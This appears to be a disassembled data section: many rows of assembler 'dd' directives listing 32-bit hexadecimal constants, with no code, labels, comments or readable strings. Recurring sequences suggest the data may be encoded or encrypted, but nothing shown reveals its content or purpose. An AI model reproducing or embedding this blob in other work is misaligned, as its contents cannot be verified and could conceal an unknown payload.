		dd 996DD11Bh, 0F2137CB2h, 6395DBDAh, 2AD3590Bh,	0B598FD5h
		dd 585FD359h, 8C798040h, 7A928553h, 0C7978394h,	0F6180512h
		dd 96910AC9h, 0F9DFF7C7h, 92457E83h, 98876D85h,	15110682h
		dd 0E2F5A542h, 5E294A17h, 0AB9C7091h, 18DF465h,	0D782BBDBh
		dd 1028F5C0h, 0DDFA9950h, 50244512h, 4AD04DCDh,	0B3A472ABh
		dd 0C73EBE9Bh, 8E895017h, 1D5F6C3h, 14C79783h, 4DCD2F03h
		dd 64387190h, 0C3DBA873h, 314C7DDh, 0C797832Fh,	0DC150215h
		dd 1A00183Fh, 89AB4DCDh, 0A2FBEA33h, 0FBEB0330h, 0BF51B44h
		dd 0A672AB24h, 34246C18h, 0F718CAB7h, 64475F2Ch, 65BAA7B0h
		dd 8C6A6D2Ch, 0D3595956h, 0D084555Ch, 0ABC9AFC7h, 112F4989h
		dd 6B837222h, 15C75844h, 4DCD2E02h, 0F9E520BAh,	827F0046h
		dd 70B1E72Dh, 0B0B7D359h, 70477DC3h, 464DD359h,	248F482Eh
		dd 215C792h, 0C797832Eh, 0AB2E0215h, 0E4B5A272h, 88552037h
		dd 0BA139370h, 0D58A8611h, 8F9B7FF1h, 15C79224h, 0C6918652h
		dd 96EBD8F9h, 59701A50h, 11920D3h, 0C797831Bh, 0DC150215h
		dd 804D183Fh, 72AB8268h
		dd 0BB98B0A7h, 0A272AB3Bh, 51DEAB5h, 89ABFFD1h,	6B96D4CEh
		dd 5DFBCCCBh, 8AA26F3Ah, 75255E63h, 0B8FE9762h,	0D3595A82h
		dd 48608188h, 6915C762h, 41111660h, 30BB9C56h, 0CD27FB1Ch
		dd 156AB4Dh, 597085BBh,	0A6848BD3h, 0D3597070h,	0C6918653h
		dd 0BAB4BF9h, 346FD3D0h, 0A797AFD0h, 28A10AA5h,	1B54AD85h
		dd 5E445C7Bh, 0BA7489ABh, 0DA87793Ch, 0AA3CA7C2h, 150215C7h
		dd 70447AC0h, 434AD359h, 9783452Bh, 2E0215C7h, 70BA4DCDh
		dd 50A45F37h, 5FFF38C9h, 8F3A2038h, 9B407924h, 13E4B17Ch
		dd 0B8855047h, 15C7BAA0h, 73948352h, 0C797839Fh, 0CD2F0314h
		dd 0CB89AB4Dh, 7E593E5h, 0DB1413ADh, 335475F3h,	4CA0046h
		dd 0C9D0D359h, 1C80C1B1h, 0F247DE24h, 241C76ACh, 5D757CDEh
		dd 3813C777h, 5970BCF2h, 9ABBC2D3h, 918652CFh, 4FBA2FC6h
		dd 8F29A170h, 99407924h, 400B0CCEh, 0A875273h, 1028494Eh
		dd 314C72Ah, 1D3ADD16h,	72AB1F05h, 1CE9B4A3h, 0C7F1DD04h
		dd 0CD2F0314h, 5215C74Dh, 0FAC79285h, 4DCD05D9h, 3A0512C7h
		dd 34FF18BDh, 0CEB566Fh, 248FC53Dh, 314C792h, 0C797832Fh
		dd 0CD2F0314h, 8879BA4Dh, 0C759DE24h, 0B8350017h, 0D72BF6E1h
		dd 0A79271DCh, 1056AB67h, 0D35970DAh, 0A6C1D9E0h, 14C7A93Bh
		dd 38DD1603h, 8321071Fh, 5215C797h, 9D719285h, 89AB9783h
		dd 6B00B738h, 0E77B332Ch, 0B6165543h, 0FB9A7D95h, 4DCD08DCh
		dd 597084BAh, 51C964D3h, 0AB92248Fh, 70DA1056h,	0D9E0D359h
		dd 183FDEC1h, 3324F22Bh, 9D839B68h, 0DA1056ABh,	0E0D35970h
		dd 0AE9AC1D9h, 3B0314C7h, 0F8337A9Ch, 4437E3FBh, 34CD462Ch
		dd 706399DFh, 6269D359h, 0D5F50DA8h, 1B330CD2h,	6A14C735h
		dd 71DCFE14h, 0C4B1D20Eh, 0B1C9CE8Bh, 0DE4DCDCBh, 744BE583h
		dd 6E0DD5A5h, 0AB766135h, 0ABE0C6DEh, 59703365h, 5E3239D3h
		dd 14C79783h, 0AC39E46Ah, 5778BB17h, 297E8383h,	5970ADE3h
		dd 94ACB3D3h, 17C7AEh, 4DCDB238h, 1EBA8298h, 0FED3598Bh
		dd 320611C7h, 4AD04DCDh, 0DA1056ABh, 0E0D35970h, 6DC2C1D9h
		dd 709CD218h, 0DB7FD359h, 7624F1BCh, 3167576Fh,	0F8D35970h
		dd 7F5FCED6h, 22EFBADDh, 9F0FD768h, 622B0963h, 0B5A2C3D3h
		dd 5962396Fh, 20383FD3h, 176C5960h, 0A8F4E0F5h,	0BE9CEC3Bh
		dd 0D3587B88h, 896F878Eh, 79BA9783h, 401FD878h,	79445307h
		dd 0D0AE94ACh, 1234CD4Ah, 191F1157h, 3268AE5Ah,	38D358E9h
		dd 9F3F1031h, 0C8E0AD78h, 1056ABE2h, 0D35970DAh, 701040E0h
		dd 0DEA47DD8h, 16C2A5BDh, 7E832D01h, 0BC879045h, 0C7F1D7EFh
		dd 0AB2F0314h, 70DA1056h, 0D9E0D359h, 9064E4C1h, 314C78Ah
		dd 0C797832Fh, 0DD160314h, 84511C3Bh, 72AB866Ch, 0BE9BB3A4h
		dd 7084BA3Eh, 124BD359h, 563C5443h, 380314C7h, 0E62C1FBBh
		dd 0D35970B0h, 0C38EAFB6h, 6D4CB72Ch, 72AB269Eh, 7D98B0A7h
		dd 14C78012h, 97832F03h, 2F0314C7h, 84BA4DCDh, 4BD35970h
		dd 0C193F929h, 0D38787D6h, 0B2CF9C4h, 38C90DF3h, 263E59FFh
		dd 92248F40h, 2F0314C7h, 4AD09783h, 14C74DCDh, 4DCD2F03h
		dd 56AB4AD0h, 475F781Dh, 59702557h, 50242BD3h, 14C79783h
		dd 44F41603h, 0DF120C80h, 83755B73h, 0AB829897h, 98B0A772h
		dd 60436CA8h, 72AB4C6Ah, 1FECB7A0h, 60772407h, 0DD9A5173h
		dd 6E27BD62h, 748CADAAh, 1056AB8Eh, 0D35970DAh,	9AC1D9E0h
		dd 512C7AEh, 1A3DDF18h,	846A824Fh, 0F4FA89ABh, 51D5F0C2h
		dd 0ABDC5C39h, 9BB3A472h, 7CC275ABh, 571A3CDDh,	0CFA61F43h
		dd 0AD09EF07h, 92248F6Dh, 19A572ABh, 0DBFF1F7h,	824D6E48h
		dd 1DBA9DB5h, 7D40DFAh,	8312F810h, 0A589AB97h, 91865617h
		dd 0AF3FF9C6h, 9FB860F8h, 0CEE607D4h, 55292EEBh, 9A1234CDh
		dd 282762B0h, 0F2E5B788h, 5C425A27h, 320611C7h,	681234CDh
		dd 1A7E3052h, 0C7E1C7DFh, 0B8350017h, 5C2C58E6h, 78BA6F4h
		dd 3D561BE6h, 0AF08F3D2h, 0ECB7A076h, 0AB21071Fh, 70DA1056h
		dd 0D9E0D359h, 903BA6C1h, 7D958257h, 1056AB97h,	0D35970DAh
		dd 2523AD4h, 782633C5h,	0A1765971h, 9783E2B6h, 2E0215C7h
		dd 84BA4DCDh, 64DD7CC2h, 2E0215C7h, 12C79783h, 8F0EC76Ch
		dd 0D8921831h, 0DA3EE976h, 461A3B36h, 15C74DCDh, 0CAD10269h
		dd 3FDFAA2Eh, 2D6F718h,	0DA1056ABh, 0A1D35970h,	5970255Bh
		dd 76242BD3h, 0FA7A576Fh, 248F51C9h, 512C792h, 477DC318h
		dd 2AD35970h, 0B5BC6A6Dh, 9783B79Dh, 2E0215C7h,	7F5C7E83h
		dd 0DF4A47C3h, 99E4D112h, 325314F2h, 11C7341Ah,	97833206h
		dd 0EDC11506h, 12C74DCDh, 6C2FA46Ch, 7DC3AC2Eh,	0D3593B47h
		dd 425464Dh, 0FF4DCD30h, 92248F1Bh, 0A801E0AAh,	0B40391Bh
		dd 0BA370000h, 0D359916Eh, 17C74Eh, 0FB34CD2Ch,	0CACD8C5Bh
		dd 0D0AB91A9h, 2F65AB4Ah, 0F6D35970h, 31FC1BBDh, 0D6F7E0B4h
		dd 23F7FEBEh, 4AD09783h, 31D04DCDh, 7CF1B40Fh, 0B5CDDA6Ch
		dd 0A672ABCFh, 3CBC99B1h, 865611C7h, 0D8F9C691h, 0F1E6B2EBh
		dd 9783F3D9h, 0EB4F7190h, 0C6A8B384h, 0BA0BF109h, 0D3597084h
		dd 1638C964h, 44AF38E7h, 0A78DA5B4h, 0B3A472ABh, 70FBA8F9h
		dd 7A923231h, 2749F45Fh, 5A98B2D0h, 0BDA3BBC4h,	71908298h
		dd 13C16638h, 4B6C3904h, 84BA4D33h, 64D35970h, 56AB6DADh
		dd 5970DA10h, 0C1D9E0D3h, 3B903BA6h, 5970BFF5h,	0A6BEC5D3h
		dd 0C78298C0h, 0CD310512h, 0AB4AD04Dh, 0AF0DE789h, 6C842B23h
		dd 0B9F1276Dh, 57F7D358h, 64C06BF8h, 504715AEh,	7697B885h
		dd 909783A2h, 512C78Ah,	0AB978331h, 8517A772h, 0B6E14D86h
		dd 89562142h, 0FFCC8E71h, 594583B9h, 0A1B666D3h, 0DECBECF3h
		dd 16E1F6A5h, 0AB4B3149h, 70DA1056h, 0D9E0D359h, 0BA64E4C1h
		dd 0D3597084h, 17C764h,	3C89AB2Ch, 0B87D0436h, 0B39FC6DEh
		dd 875512C7h, 0D7F8C590h, 0C74DCD03h, 0CD2C0017h, 1638C94Dh
		dd 0FB9324CBh, 0CD8B5C9Ch, 8FCCB2CAh, 12C79224h, 7E833105h
		dd 0B7829545h, 5A7B9C3Ah, 72AB5C42h, 4CE5B0A7h,	5970D006h
		dd 0AECFD6D3h, 28E3B396h, 5970ACE2h, 0CACD8FD3h, 7D8432FFh
		dd 5ABE92C3h, 496A2B09h, 8BC1075Ch, 6ED358B9h, 0F6FDABACh
		dd 9783F8DEh, 310512C7h, 56AB4DCDh, 5970DA10h, 0C1D9E0D3h
		dd 59709BD1h, 38C97BD3h, 96A45AFFh, 58B15EADh, 5926F112h
		dd 248F5B41h, 512C792h,	0D0978331h, 0C74DCD4Ah,	0F6180512h
		dd 55FC6E34h, 0B89EB680h, 99DF34CDh, 0D3597063h, 644A6269h
		dd 56AB4AD0h, 915C7B1Dh, 707CB2F8h, 7B82D359h, 2052425Ah
		dd 26D35970h, 597E1A53h, 5970457Bh, 23444BD3h, 0C797834Fh
		dd 0F6180512h, 144B7D83h, 0F7A4751Ch, 83E2C8E0h, 0C7829897h
		dd 0CD2F0314h, 0EF64BA4Dh, 0C7442CADh, 0BBF13714h, 0C1D35970h
		dd 73AC99BAh, 415606A1h, 7088A976h, 0C797838Ah,	0BEF43A11h
		dd 0C4D35970h, 0CDC89CBDh, 3F58FB34h, 14C74127h, 3EDD1603h
		dd 0B0E62C19h, 0B6D35970h, 0ABB197AFh, 7AE8B289h, 738BF32Ah
		dd 62A8FD96h, 0D358822Ch, 2D132B32h, 3A0512C7h,	2EF91EBDh
		dd 86A9BEC8h, 710E2FADh, 4716F560h, 92248FCFh, 320611C7h
		dd 31D09783h, 83D8BB0Fh, 0A227AC1h, 1234CD24h, 0C8DBC513h
		dd 2B1129DDh, 0B7A072ABh, 24071FECh, 83926671h,	0BA8A9097h
		dd 0D3597084h, 8F51C964h, 82989224h, 0E77589ABh, 76CE153Dh
		dd 0BADD7B5Eh, 0C74DCDE6h, 0F1130017h, 0CE9F49D7h, 31172F94h
		dd 0DA1056ABh, 0E0D35970h
		dd 64E4C1D9h, 248F51C9h, 611C792h, 297E8332h, 5970ADE3h
		dd 94ACB3D3h, 3615C7AEh, 5970BAF0h, 98B9C0D3h, 0DF34CDC4h
		dd 59706399h, 4A6269D3h, 5611C764h, 9C709186h, 5EBA4DCDh
		dd 2530C5A1h, 632E29ECh, 0C7987E96h, 83320611h,	611C797h
		dd 0CE8BC419h, 70B5EBC9h, 4BBD359h, 0AA774255h,	0F2E5B889h
		dd 5C425A27h, 0A4764DCDh, 11C79783h, 4DCD3206h,	0E3E336BAh
		dd 10C71639h, 19BF3C07h, 0BB833FEh, 514611A0h, 8FB79330h
		dd 11C79224h, 7E833206h, 2E29F029h, 59701A50h, 0B4B014D3h
		dd 51AFF078h, 9E849CA3h, 320611C7h, 0A4764DCDh,	11C79783h
		dd 56AB3206h, 5970DA10h, 8D9E0D3h, 0AD7A4552h, 0E61FB895h
		dd 89562136h, 0DFF7E0B8h, 7BDCBAF9h, 0C7BCEE6Bh, 0BEF43A11h
		dd 0C4D35970h, 54D19CBDh, 4AC59087h, 0AB53329Dh, 79248FE5h
		dd 0B17C9B40h, 0C7E6CCE4h, 0E0190611h, 1C021A3Dh, 0B0A772ABh
		dd 0AB857198h, 5F781D56h, 0B3E9C794h, 7AD35970h, 596FFE34h
		dd 4FFD04D3h, 8B4D3048h, 0C4D387C0h, 184E2CF9h,	1ED35970h
		dd 0CD22F617h, 83A4764Dh, 8295457Eh, 7D9A3AB7h,	0ACC4E5B2h
		dd 611C7C6h, 487EC419h,	4ED35970h, 6FFF357Bh, 0FE05D359h
		dd 0CDDFC5DDh, 6399DF34h, 69D35970h, 0AB644A62h, 125C4A89h
		dd 0BD8EA02Dh, 612EF91Eh, 0E5CD5949h, 5B94E234h, 9D839BBCh
		dd 3C0710C7h, 0EC3219BFh, 0D35970B6h, 0C994B5BCh, 0A180EB04h
		dd 248F5AD2h, 0F7BA5779h, 22CBC182h, 0C5908751h, 0C7FAE0F8h
		dd 83320611h, 49315C7Eh, 0EBB78AF9h, 11C7EDD3h,	56AB3206h
		dd 5970DA10h, 0C1D9E0D3h, 15C764E4h, 97832E02h,	4DCD4AD0h
		dd 845611C7h, 0AB9E7293h, 70DA1056h, 5BA1D359h,	0D3597025h
		dd 6F76242Bh, 90443057h, 7084BA8Ah, 0C764D359h,	8B8C5017h
		dd 77229F6Ah, 117A49C7h, 2A4B02EAh, 9A05165Fh, 8F74ECBBh
		dd 82989224h, 2E0215C7h, 81BA4DCDh, 48D35970h, 2DEF6526h
		dd 90A8A747h, 512C7AAh,	0F91EBD3Ah, 69D4E52Eh, 336C798Ah
		dd 0DEAB7661h, 0ED312524h, 4058E1F7h, 92248F5Ah, 0F03615C7h
		dd 0D35970BAh, 0C498B9C0h, 15C79783h, 0ECF31502h, 0A851B4D8h
		dd 0CDB49AB2h, 0B178BA4Dh, 0FB581690h, 0C889AB1Fh, 72C890AEh
		dd 97805829h, 0CCE7FFCCh, 72ABCF61h, 3BDFB0A7h,	7321041Ch
		dd 9B3E7764h, 0CCE4B17Ch, 0C79783E6h, 0CD2E0215h, 0EF3CBA4Dh
		dd 0E103EC89h, 83C720FFh, 0E6CCE4C6h, 248F51C9h, 215C792h
		dd 1A3DDC15h, 70B1E72Dh, 0B0B7D359h, 56ABB298h,	7A587F1Dh
		dd 0D3597044h, 1056434Ah, 0D35970DAh, 9AC1D9E0h, 0A472ABAEh
		dd 31BE8B3h, 4D937820h,	0D3597017h, 0A5B2661Dh,	0AB8F6384h
		dd 70DA1056h, 0D9E0D359h, 0C764E4C1h, 0DC150215h, 0A6B1683Fh
		dd 0D5EDBA85h, 7D89ABEFh, 2A46454Bh, 32B28FA7h,	370215C7h
		dd 8D4A1DBAh, 0D99E698Ah, 8B7655C0h, 92248F4Bh,	825611C7h
		dd 572235E5h, 0A5AF698Ah, 117D6D59h, 83E9BDDEh,	1056AB97h
		dd 0D35970DAh, 0DEC1D9E0h, 0AB45193Eh, 98B0A772h, 64336C71h
		dd 0C3DBA873h, 6D11C7DDh, 15F2C42Ah, 610EDD4Ah,	0C23E61D6h
		dd 0CDAC80A1h, 3B5CFB34h, 0A58BA370h, 805512C7h, 2EFFCC97h
		dd 614E6F68h, 7090C60Ch, 8F96D359h, 4DCD9177h, 248F2AF0h
		dd 611C792h, 0AB978332h, 70DA1056h, 0D9E0D359h,	693EDEC1h
		dd 64E1ACABh, 0FDCA7B0h, 5A7D1DEEh, 34CD6539h, 0E7F0A6DFh
		dd 5970D309h, 0BAD2D9D3h, 0AB8A90D4h, 3A6C7289h, 0F2A12FF0h
		dd 2C4D1AE5h, 74633114h, 5D346587h, 8A8529FCh, 97838C72h
		dd 2E0215C7h, 84BA4DCDh, 64D35970h, 9DE338C9h, 0D3597067h
		dd 684E666Dh, 0B2A572ABh, 69147F9Ah, 490E8147h,	0D46AC6A2h
		dd 0DA7B354Ah, 3D233B8Eh, 0B7A072ABh, 24071FECh, 83936770h
		dd 6915C797h, 0AF184650h, 2EF100Fh, 9E3167ADh, 4114D358h
		dd 10BE8B56h, 0CD98BF59h, 0E1C7DF00h, 84BA4DCDh, 4BD35970h
		dd 707AB0F6h, 7980D359h, 6DAD7B61h, 4079248Fh, 32AF7A9Dh
		dd 3A527364h, 1056AB54h, 0D35970DAh, 0DEC1D9E0h, 0F32C193Eh
		dd 33193126h, 12C79783h, 9C6D3A05h, 9016DEF9h, 15C74DCDh
		dd 4DCD2E02h, 65AB4AD0h, 0D3597033h, 835E3239h,	215C797h
		dd 0B31EF315h, 0B68505E6h, 5B28F3E4h, 833C223Ah, 0AB829897h
		dd 70DA1056h, 29E0D359h, 7647686Fh, 1DEAB5A2h, 64732205h
		dd 0D04DCD90h, 7FE30F31h, 0BC9D5BABh, 72ABBEA4h, 1DEAB5A2h
		dd 8AC00605h, 51D35970h, 3B534418h, 3912C47Bh, 5970BDF3h
		dd 9BBCC3D3h, 80548D7Ah, 0E7FFCC97h, 0C7978301h, 0CD2C0017h
		dd 0A572AB4Dh, 0E9AA9AB2h, 0C9FC19BBh, 130017C7h, 704278BEh
		dd 603CD359h, 0FE6E28CCh, 21A21CFh, 0AB97831Ch,	0DEED1689h
		dd 3D16294Eh, 0FF67052Bh, 0AC8FA7C8h, 0CD19EDEAh, 0D459BA4Dh
		dd 0C7390DFFh, 0BA370215h, 0E52EF91Eh, 0E28A69D4h, 0D0ACA03h
		dd 248F0FF5h, 17C792h, 4E89AB2Ch, 8677161Ch, 0AD99C0D8h
		dd 8E5017C7h, 267B6889h, 0ADC0E504h, 20FE019Dh,	0D3588FEAh
		dd 0EBD1E9F0h, 28BA4DCDh, 8E5BF99h, 248F2AF0h, 17C792h
		dd 0C797832Ch, 0CD2C0017h, 3E59FB34h, 0A88EA673h, 0B2A572ABh
		dd 43E4B79Ah, 0EBB88394h, 56ABF6CAh, 5970DA10h,	0C1D9E0D3h
		dd 17C7AE9Ah, 0C48F8850h, 8302D6F7h, 0AB4AD097h, 15526489h
		dd 0BE8B5641h, 92363104h, 0ED267B7Ah, 0BED97E29h, 0ED0526F3h
		dd 58C5C7FDh, 9D6C8ED3h, 0FBF6571h, 41480820h, 0DF34CD6Dh
		dd 59706399h, 4A6269D3h, 8834BA64h, 0AD14D5EEh,	6AC83254h
		dd 4437E390h, 0C6DB1157h, 0DAE1D358h, 248FDCC2h, 94FBDE92h
		dd 750A6C3h, 65ABB93Fh,	0D359702Fh, 0EC412E35h,	597070A6h
		dd 0BBF137D3h, 0C1D35970h, 0ED050CBAh, 156AB07h, 597085BBh
		dd 6C848BD3h, 5970467Ch, 71454CD3h, 4AD09783h, 7B1D56ABh
		dd 20EBECACh, 2A1A3253h, 0D3596FF4h, 0CD06F3FAh, 713E090Eh
		dd 4DCD7359h, 2F0314C7h, 51C94DCDh, 0DE92248Fh,	0E48718BFh
		dd 0F77D4536h, 7A1D56ABh, 0ADC5925Dh, 597087BDh, 0B2868DD3h
		dd 702F65ABh, 2E35D359h, 0A272AB5Ah, 2175591Ch,	0FA1BD0BAh
		dd 0C291622Fh, 0AA96BDD5h, 2E0215C7h, 56AB4DCDh, 5970DA10h
		dd 0C1D9E0D3h, 0EE884BD1h, 15C72BD5h, 32E78052h, 6C390425h
		dd 9783774Bh, 72AB4AD0h, 9A99B1A6h, 59702254h, 4D2128D3h
		dd 0B7A072ABh, 0BA42C29Fh, 0EA44C15Ah, 5086CC21h, 56EA44C1h
		dd 0AD51374Fh, 92248F6Dh, 65AB4AD0h, 0D3597033h, 23453239h
		dd 0F4C098F8h, 0E7F0A5FBh, 5D2E4F1Ch, 6D39EB9h,	72AB08EEh
		dd 1CE9B4A3h, 89BF0504h, 8FD35970h, 3C3C8BEFh, 24C37D9Ah
		dd 906485AFh, 4AD09783h, 0BB0156ABh, 0D3597085h, 0E1B3848Bh
		dd 0BCEEDEF6h, 83D35970h, 0AE41E661h, 50686707h, 639C8990h
		dd 0A389A1B6h, 15C74DCDh, 4DCD2E02h, 248F51C9h,	0AB4AD092h
		dd 59703365h, 0C59939D3h, 83F78D83h, 4EC4EDBFh,	608AAF94h
		dd 2CF9ABDh, 4C4B10E1h,	8E1C3E2Bh, 4DF656FBh, 0AB593F57h
		dd 59702F65h, 1BBDF6D3h, 5124E4FCh, 5970D50Bh, 0B3D4DBD3h
		dd 297E83DFh, 5970ADE3h, 5DFCB3D3h, 81A26F3Ah, 31D08369h
		dd 0B4187DCh, 11D35970h, 6FF62C0Ah, 77BDD359h, 0D3597041h
		dd 8B924047h, 0E4FC1BBAh, 3456ABFEh, 72210C70h,	13CD9A65h
		dd 0B0C87D67h, 590C8EC0h, 0B98D94D3h, 0B0A772ABh, 230018E5h
		dd 9285518Ah, 0E80017C1h, 0C15ABA02h, 0C93AEA44h, 92248F51h
		dd 56AB4AD0h, 5970DA10h
		dd 0C1D9E0D3h, 704A7CC2h, 0B050D359h, 58C3B2FBh, 86CCB9D0h
		dd 0D3595F50h, 5A2E4F56h, 702F65ABh, 2E35D359h,	0A272AB5Ah
		dd 301DEAB5h, 5970B4EAh, 9BB3BAD3h, 15C78874h, 97832E02h
		dd 865314C7h, 839C7091h, 0E1895C7Eh, 70A2D81Eh,	0A1A8D359h
		dd 7B181AE7h, 4AD07D63h, 857789ABh, 6DB4D83Fh, 5942F127h
		dd 0CFF0F7D3h, 0C75ADAB7h, 91865413h, 89AB9C70h, 4F034D3Bh
		dd 7198B00Bh, 215C785h,	0AB4DCD2Eh, 0E6B1A672h,	70D1074Dh
		dd 0D0D7D359h, 777D97AFh, 2E0215C7h, 15C79783h,	0A977E169h
		dd 4E6F1E0Eh, 0A072AB7Ah, 2037E6B7h, 93708855h,	7084BA13h
		dd 0C964D359h, 92248F51h, 2E0215C7h, 0A8BA9783h, 6FD359CAh
		dd 0CA9ED41Ah, 9DA4D359h, 72AB9F85h, 64CF1EA0h,	3501D497h
		dd 7F19FC14h, 4DCD8458h, 56AB4AD0h, 925D7A1Dh, 87BDADC5h
		dd 8DD35970h, 9783B286h, 0F9753CBAh, 11C71CEBh,	70BEF43Ah
		dd 0BDC4D359h, 9783C89Ch, 0B4A372ABh, 21041CE9h, 0E9EEB077h
		dd 0E2F5A11Eh, 8294A17h, 0BA4DCD34h, 0DF27E775h, 8F6DAD55h
		dd 11C79224h, 70918656h, 0C797839Ch, 96815611h,	89ABA175h
		dd 9EDEE116h, 0AE7FFD8h, 0A0D61C71h, 0A6D35967h, 0BAA1879Fh
		dd 0D3597081h, 8F54C661h, 11C79224h, 89AB3206h,	4F0F205Eh
		dd 47388E48h, 602B2CE9h, 335A7293h, 611C747h, 764DCD32h
		dd 457E83A4h, 0EDBA8592h, 11C7EFD5h, 2DF71906h,	0A62DF512h
		dd 0CD90768Eh, 6399DF34h, 69D35970h, 0F92F7562h, 0FFD3596Fh
		dd 0BAFAE0F8h, 0D3597081h, 8F938761h, 72AB9224h, 26FDB7A0h
		dd 6E0FEEC5h, 0A3755870h, 9783E0B4h, 320611C7h,	0B7A072ABh
		dd 2A071FECh, 0C3C36F91h, 527EF18Bh, 81BA543Ah,	61D35970h
		dd 54023BC6h, 93AB7843h, 92248FADh, 320611C7h, 0DA1056ABh
		dd 0E0D35970h, 0AE9AC1D9h, 320611C7h, 1AA472ABh, 34234D5Bh
		dd 5C74953Fh, 0EBADE67Fh, 0ABEED4ECh, 5303A472h, 8BAC7944h
		dd 0FE168373h, 0C7F6E02Ah, 0BE3B0611h, 0E730FB1Ch, 0BD8C6BD6h
		dd 8126F32Ch, 0D5A0C1D6h, 0C6918658h, 0DAC0D8F9h, 0C792248Fh
		dd 4FC96D11h, 0FD0E9C91h, 7E8308DCh, 6EB49745h,	0D3597038h
		dd 4B16373Eh, 0ECEBAD7Eh, 15C7EED4h, 72AB2E02h,	1FECB7A0h
		dd 58912A07h, 0FCC99483h, 7093C90Fh, 9299D359h,	11C7947Ah
		dd 0C5908756h, 0AB03D7F8h, 70DA1056h, 0D9E0D359h, 0C964E4C1h
		dd 92248F51h, 2E0215C7h, 56AB9783h, 5970DA10h, 0C1D9E0D3h
		dd 0AA6D3ADEh, 349E2ADh, 0D35970CDh, 8AABCCD3h,	0C79783B6h
		dd 0CD2E0215h, 0C1EC1234h, 1DD5BCB4h, 31D01F05h, 706096DCh
		dd 0C666D359h, 0D9B552EDh, 48193AA1h, 0EBB88394h, 72ABEDD3h
		dd 9B9AB2A5h, 6CFF146h,	3689CE23h, 0C5D60CEAh, 0D5DCD358h
		dd 0C597CDBDh, 0FD9DD358h, 0F8532F8Bh, 6438599Ch, 15C74DCDh
		dd 0C8938452h, 0B4EDDAFBh, 0F5DBF3E4h, 4AD09783h, 0D33456ABh
		dd 835D9BBFh, 2F28EDBEh, 8F7F9764h, 0D3591259h,	8C32E720h
		dd 0F1FCE234h, 663152E1h, 0C2D2AE9h, 592D34F4h,	82989783h
		dd 4DCD4AD0h, 7D1D56ABh, 70467C5Ah, 454CD359h, 8F884A2Dh
		dd 0A9AE69A2h, 13F911DEh, 0E4A772ABh, 5970689Eh, 46676ED3h
		dd 64B1157Bh, 4178E079h, 0F5E10820h, 84BA8A90h,	64D35970h
		dd 248F6DADh, 0C7829892h, 0FE9A6717h, 0C38E894Bh, 789D3CF6h
		dd 0CD09DDFEh, 2F65AB4Dh, 35D35970h, 0ABE0662Eh, 59702F65h
		dd 412E35D3h, 389D701Fh, 82C83E33h, 0D358CD4Ch,	702A4B52h
		dd 0FE20F458h, 61475F96h, 8A909783h, 130017C7h,	4D183FDAh
		dd 0AB826880h, 0ECB7A072h, 0F4E0071Fh, 310512C7h, 3D1234CDh
		dd 0FF050527h, 8D1E549Ah, 1D24D358h, 6F682BFCh,	0D9BFD7A4h
		dd 597084BAh, 12C764D3h, 7E833105h, 70ADE329h, 0ACB3D359h
		dd 17C7AE94h, 4DCD2C00h, 3596A8BAh, 54AD8832h, 2E64AAFFh
		dd 34D35970h, 70194F2Dh, 4C1FD359h, 5970D006h, 0AECFD6D3h
		dd 70457BC1h, 444BD359h, 89AB462Ch, 0B806203Eh,	0E6011972h
		dd 72ABE97Bh, 1DEAB5A2h, 67702205h, 0AB978393h,	0B78DEF89h
		dd 849C3E3Bh, 12E6F1A1h, 72AB4DCDh, 0B598B0A7h,	0CD23F7E0h
		dd 8F51C94Dh, 17C79224h, 97832C00h, 2C0017C7h, 72AB4DCDh
		dd 19E6B1A6h, 0B7829548h, 0D0E2D2EAh, 0B0323596h, 72AB51C9h
		dd 1AE7B2A5h, 0C08B8C49h, 55C0DBF3h, 17C7C3h, 2A07F113h
		dd 919A8CFh, 97830BF1h,	310512C7h, 17C79783h, 70B8EE34h
		dd 0B7BED359h, 0A970A996h, 0CDB096AEh, 7084BA4Dh, 0C964D359h
		dd 92248F51h, 2C0017C7h, 17C79783h, 4DCD2C00h, 65AB4AD0h
		dd 0D359702Fh, 0AB5A2E35h, 70DA1056h, 0D9E0D359h, 0AB64E4C1h
		dd 70DA1056h, 0D9E0D359h, 6B3CDEC1h, 0B68AABACh, 0B4A372ABh
		dd 0AEA96CE9h, 624E758Dh, 3E0611C7h, 0A5B2669Fh, 0FF50DDAh
		dd 0B1A672ABh, 1ADB80E6h, 225FC1A3h, 0A4EAE901h, 0D358EE6Eh
		dd 3B5CFC35h, 0E4AFA86Ah, 6C3FFF17h, 58EDF026h,	0DD23F6D3h
		dd 0D358EEA7h, 6485A6ADh, 2989AB90h, 1826F14Ch,	43486F87h
		dd 804B4C0Ah, 0ABB59BB3h, 85BB0156h, 8BD35970h,	7070A684h
		dd 6F76D359h, 0C1D9FE9Eh, 31D099AFh, 1B3324F8h,	0D04DCD35h
		dd 3324F831h, 9D839B68h, 12C74DCDh, 97833105h, 0D61C7190h
		dd 0D35970A0h, 0A1879FA6h, 597084BAh, 51C964D3h, 0B5A272ABh
		dd 6C17829Dh, 0A1726533h, 4815E0F7h, 82984A30h,	300413C7h
		dd 99DF34CDh, 0D3597063h, 0F5E2B269h, 243C5D2Ah, 0C78A903Eh
		dd 83300413h, 6915C797h, 0C819BB9h, 784C6D7Bh, 5CFB34CDh
		dd 480A703Bh, 110F10F2h, 51374F70h, 5B9363BAh, 15C74316h
		dd 97832E02h, 0E5A672ABh, 5970699Fh, 47686FD3h,	0B497AF7Ch
		dd 0AB23F7E0h, 156F4D89h, 0BED6CF75h, 67BA61E1h, 47165B93h
		dd 0C5EF11F0h, 0B5028DB9h, 8F654B63h, 15C79224h, 72AB2E02h
		dd 18E5B0A7h, 0C7EDD900h, 0BDF33912h, 0C3D35970h, 0CDC79BBCh
		dd 9F50BA4Dh, 0C7304FA6h, 94835512h, 7DBFCC9h, 12C79783h
		dd 4DCD3105h, 915EADC3h, 92248F89h, 0B3A472ABh,	20031BE8h
		dd 83885C7Bh, 0A672AB97h, 0E1B699B1h, 0CD009F6h, 0CD0DF30Bh
		dd 0A272AB4Dh, 51DEAB5h, 0D65FA615h, 2AF0861Bh,	0B1A672ABh
		dd 0E60119E6h, 12C7E97Bh, 39DF1805h, 8320061Eh,	0A072AB97h
		dd 71FECB7h, 0E1B17624h, 8D5E2BF6h, 32FFCACDh, 4DCD3D11h
		dd 1A6C12C7h, 0E09CB8Eh, 0A23CF154h, 9FC0E1F6h,	0DF34CDCBh
		dd 59706399h, 916269D3h, 3906D1C6h, 6DAD3B21h, 0C792248Fh
		dd 83300413h, 512C797h,	0A672AB31h, 6D7299B1h, 709CD218h
		dd 9BA2D359h, 13C79D83h, 4DCD3004h, 2E0215C7h, 531234CDh
